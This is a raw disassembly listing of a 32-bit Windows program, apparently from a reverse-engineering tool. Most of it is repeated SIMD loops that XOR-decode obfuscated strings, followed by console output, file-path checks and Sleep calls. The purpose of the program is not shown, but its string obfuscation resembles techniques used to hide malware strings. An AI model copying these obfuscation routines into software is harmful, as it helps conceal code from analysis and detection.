movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
nop word [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x364]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x364], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x360]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x360], xmm1
add eax, 8
cmp eax, 0x1c
jl 0x469ab0
mov dword [ebp - 0x4f4], edx
cmp edx, 0x18
jge 0x469bf7
nop
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x360], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x18
jl 0x469bc0
lea eax, [ebp - 0x360]
push eax
lea ecx, [ebp - 0x3c0]
call fcn.0046e7c0
mov ecx, eax
mov byte [ebp - 4], 0x14
call fcn.0046e590
mov edx, eax
mov ecx, esi
call fcn.00470b00
push 0x470d20
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x3c0]
mov byte [ebp - 4], 0xc
call fcn.0046e6f0
mov eax, dword [0x649438]
xor edx, edx
movq xmm0, qword [str.S__j_RJJSTR]
mov dword [ebp - 0x338], eax
mov al, byte [0x64943c]
movq qword [ebp - 0x340], xmm0
mov byte [ebp - 0x334], al
mov dword [ebp - 0x4f4], edx
cmp edi, 2
jl 0x469d73
movaps xmm2, xmmword [0x64a4a0]
mov edx, 8
movaps xmm4, xmmword [0x64a550]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
mov eax, dword [str.1111111111111111]
movaps xmm0, xmm1
mov dword [ebp - 0x4f4], edx
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x64a4b0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.S__j_RJJSTR]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x340], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x33c]
xorps xmm1, xmm0
movd dword [ebp - 0x33c], xmm1
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x340], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0xd
jl 0x469d73
lea eax, [ebp - 0x340]
push eax
lea ecx, [ebp - 0x3c0]
call fcn.0046e7c0
sub esp, 0x18
mov byte [ebp - 4], 0x15
mov ecx, eax
mov esi, esp
call fcn.0046e590
push eax
mov ecx, esi
call fcn.0046e7c0
lea eax, [ebp - 0x4f0]
mov ecx, 0x664bf8
push eax
call fcn.00453960
lea ecx, [ebp - 0x3c0]
mov byte [ebp - 4], 0x17
call fcn.0046e6f0
movq xmm0, qword [str.cwwneR_T9]
xor edx, edx
mov al, byte [0x6498e0]
movq qword [ebp - 0x33c], xmm0
mov byte [ebp - 0x334], al
mov dword [ebp - 0x4f4], edx
nop word [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x4f4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x4f4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x33c], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 9
jl 0x469e20
lea eax, [ebp - 0x33c]
push eax
lea ecx, [ebp - 0x360]
call fcn.0046e7c0
push 0
lea ecx, [ebp - 0x120]
push ecx
push 0x104
mov ecx, eax
call fcn.0046e590
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea ecx, [ebp - 0x360]
call fcn.0046e6f0
lea edx, [ebp - 0x120]
lea ecx, [ebp - 0x360]
call fcn.00462b30
push eax
mov ecx, 0x65e2e8
call fcn.0046e740
lea ecx, [ebp - 0x360]
call fcn.0046e6f0
lea ecx, [ebp - 0x4f0]
call fcn.00471e70
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test al, al
jne 0x46a0ff
lea eax, [ebp - 0x120]
push eax
call edi
test eax, eax
je 0x46a0ff
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x449930
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [0x64917c]
mov ecx, dword [0x649194]
xor edx, edx
cmp dword [0x6647f8], 2
mov esi, eax
mov dword [ebp - 0x3c8], ecx
mov cx, word [0x649198]
movups xmmword [ebp - 0x3e0], xmm0
mov word [ebp - 0x3c4], cx
movq xmm0, qword [0x64918c]
mov cl, byte [0x64919a]
movq qword [ebp - 0x3d0], xmm0
mov byte [ebp - 0x3c2], cl
mov dword [ebp - 0x4f4], edx
jl 0x46a090
movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
nop
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x3e4]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x3e4], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x3e0]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x3e0], xmm1
add eax, 8
cmp eax, 0x1c
jl 0x469f80
mov dword [ebp - 0x4f4], edx
cmp edx, 0x1f
jge 0x46a0c7
nop
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x3e0], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x1f
jl 0x46a090
lea eax, [ebp - 0x3e0]
push eax
lea ecx, [ebp - 0x360]
call fcn.0046e7c0
mov ecx, eax
mov byte [ebp - 4], 0x1c
call fcn.0046e590
mov edx, eax
mov ecx, esi
call fcn.00470b00
push 0x470d20
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x46a324
cmp byte [0x6499b7], 0
movq xmm0, qword [0x6499ac]
mov eax, dword [0x6499b4]
movq qword [ebp - 0x340], xmm0
mov dword [ebp - 0x338], eax
je 0x46a277
xor edx, edx
cmp dword [0x6647f8], 2
mov dword [ebp - 0x4f4], edx
jl 0x46a240
movaps xmm2, xmmword [0x64a4a0]
mov edx, 8
movaps xmm4, xmmword [0x64a550]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
mov eax, dword [str.1111111111111111]
movaps xmm0, xmm1
mov dword [ebp - 0x4f4], edx
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x64a4b0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x6499ac]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x340], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x33c]
xorps xmm1, xmm0
movd dword [ebp - 0x33c], xmm1
nop
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x340], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0xc
jl 0x46a240
lea eax, [ebp - 0x340]
push eax
lea ecx, [ebp - 0x390]
call fcn.0046e7c0
sub esp, 0x18
mov byte [ebp - 4], 0x18
mov ecx, eax
mov esi, esp
call fcn.0046e590
push eax
mov ecx, esi
call fcn.0046e7c0
lea eax, [ebp - 0x360]
mov ecx, 0x664bf8
push eax
call fcn.00453960
lea ecx, [ebp - 0x390]
mov byte [ebp - 4], 0x1a
call fcn.0046e6f0
lea ecx, [ebp - 0x360]
call fcn.0046e590
lea edx, [ebp - 0x120]
mov ecx, eax
call fcn.004629b0
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea eax, [ebp - 0x4f6]
push eax
lea ecx, [ebp - 0x3a8]
mov byte [ebp - 0x4f6], 0
call fcn.0046e7c0
mov ecx, eax
mov byte [ebp - 4], 0x1b
call fcn.0046e590
mov edx, eax
mov ecx, esi
call fcn.00470b00
push 0x470d20
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x3a8]
call fcn.0046e6f0
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 0x17
call fcn.0046e6f0
lea eax, [ebp - 0x120]
push eax
call edi
test eax, eax
jne 0x46a591
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x449900
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [0x649bdc]
mov cl, byte [0x649bf4]
xor edx, edx
cmp dword [0x6647f8], 2
mov esi, eax
movups xmmword [ebp - 0x3dc], xmm0
mov byte [ebp - 0x3c4], cl
movq xmm0, qword [0x649bec]
movq qword [ebp - 0x3cc], xmm0
mov dword [ebp - 0x4f4], edx
jl 0x46a4d0
movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x3e0]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x3e0], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x3dc]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x3dc], xmm1
add eax, 8
cmp eax, 0x1c
jl 0x46a3c2
mov dword [ebp - 0x4f4], edx
cmp edx, 0x19
jge 0x46a507
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x3dc], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x19
jl 0x46a4d0
lea eax, [ebp - 0x3dc]
push eax
lea ecx, [ebp - 0x360]
call fcn.0046e7c0
mov ecx, eax
mov byte [ebp - 4], 0x1d
call fcn.0046e590
mov edx, eax
mov ecx, esi
call fcn.00470b00
push 0x470d20
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x360]
call fcn.0046e6f0
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x46af9d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4677de
push ecx
push edx
call fcn.005ce06a
add esp, 8
mov dword [ebp - 0x50c], 0
mov dword [ebp - 0x508], 0
mov dword [ebp - 0x504], 0
mov eax, dword [str._l__F]
movups xmm0, xmmword [str.pWFZ_STOW_IQM]
mov edi, dword [0x6647f8]
mov dword [ebp - 0x338], eax
mov ax, word [0x649c44]
mov word [ebp - 0x334], ax
movups xmmword [ebp - 0x348], xmm0
test ah, ah
je 0x46a747
xor edx, edx
mov dword [ebp - 0x4f4], edx
cmp edi, 2
jl 0x46a710
movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x34c]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x34c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x348]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x348], xmm1
add eax, 8
cmp eax, 0x14
jl 0x46a602
mov dword [ebp - 0x4f4], edx
cmp edx, 0x16
jge 0x46a747
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x348], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x16
jl 0x46a710
xorps xmm0, xmm0
mov dword [ebp - 0x350], 0
lea ecx, [ebp - 0x348]
mov dword [ebp - 0x34c], 0
movups xmmword [ebp - 0x360], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46a770
sub ecx, edx
lea eax, [ebp - 0x348]
push ecx
push eax
lea ecx, [ebp - 0x360]
call fcn.00472730
mov byte [ebp - 4], 0x1e
lea edx, [ebp - 0x360]
cmp dword [ebp - 0x34c], 0xf
xorps xmm0, xmm0
movups xmmword [ebp - 0x390], xmm0
cmova edx, dword [ebp - 0x360]
mov ecx, edx
mov dword [ebp - 0x380], 0
mov dword [ebp - 0x37c], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46a7c7
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x390]
call fcn.00472730
lea edx, [ebp - 0x390]
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x50c]
call fcn.00463fa0
mov byte [ebp - 4], 0x21
mov ecx, dword [ebp - 0x37c]
cmp ecx, 0xf
jbe 0x46a830
mov edx, dword [ebp - 0x390]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46a826
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4677de
push ecx
push edx
call fcn.005ce06a
add esp, 8
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x34c]
cmp ecx, 0xf
jbe 0x46a86e
mov edx, dword [ebp - 0x360]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46a864
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4677de
push ecx
push edx
call fcn.005ce06a
add esp, 8
mov eax, dword [ebp - 0x508]
sub eax, dword [ebp - 0x50c]
sar eax, 2
cmp eax, 1
jne 0x46aad5
mov eax, dword [str._l__F]
movups xmm0, xmmword [str.pWFZ_STOW_IQM]
mov dword [ebp - 0x338], eax
mov ax, word [0x649c44]
mov word [ebp - 0x334], ax
movups xmmword [ebp - 0x348], xmm0
test ah, ah
je 0x46aa37
xor edx, edx
mov dword [ebp - 0x4f4], edx
cmp edi, 2
jl 0x46aa00
movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x34c]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x34c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x348]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x348], xmm1
add eax, 8
cmp eax, 0x14
jl 0x46a8f1
mov dword [ebp - 0x4f4], edx
cmp edx, 0x16
jge 0x46aa37
nop
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x348], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x16
jl 0x46aa00
xorps xmm0, xmm0
mov dword [ebp - 0x350], 0
lea ecx, [ebp - 0x348]
mov dword [ebp - 0x34c], 0
movups xmmword [ebp - 0x360], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46aa60
sub ecx, edx
lea eax, [ebp - 0x348]
push ecx
push eax
lea ecx, [ebp - 0x360]
call fcn.00472730
cmp dword [ebp - 0x34c], 0xf
lea ecx, [ebp - 0x360]
cmova ecx, dword [ebp - 0x360]
call fcn.004641e0
mov ecx, dword [ebp - 0x34c]
mov esi, eax
cmp ecx, 0xf
jbe 0x46aad1
mov edx, dword [ebp - 0x360]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46aac7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4677de
push ecx
push edx
call fcn.005ce06a
add esp, 8
test esi, esi
jne 0x46ab10
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 4], 0x17
mov edx, dword [ebp - 0x50c]
test edx, edx
je 0x46a591
mov ecx, dword [ebp - 0x504]
mov eax, edx
sub ecx, edx
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x46a569
jmp 0x46a555
mov eax, dword [str._l__F]
movups xmm0, xmmword [str.pWFZ_STOW_IQM]
mov dword [ebp - 0x338], eax
mov ax, word [0x649c44]
mov word [ebp - 0x334], ax
movups xmmword [ebp - 0x348], xmm0
test ah, ah
je 0x46acc7
xor edx, edx
mov dword [ebp - 0x4f4], edx
cmp edi, 2
jl 0x46ac90
movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
nop dword [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x34c]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x34c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
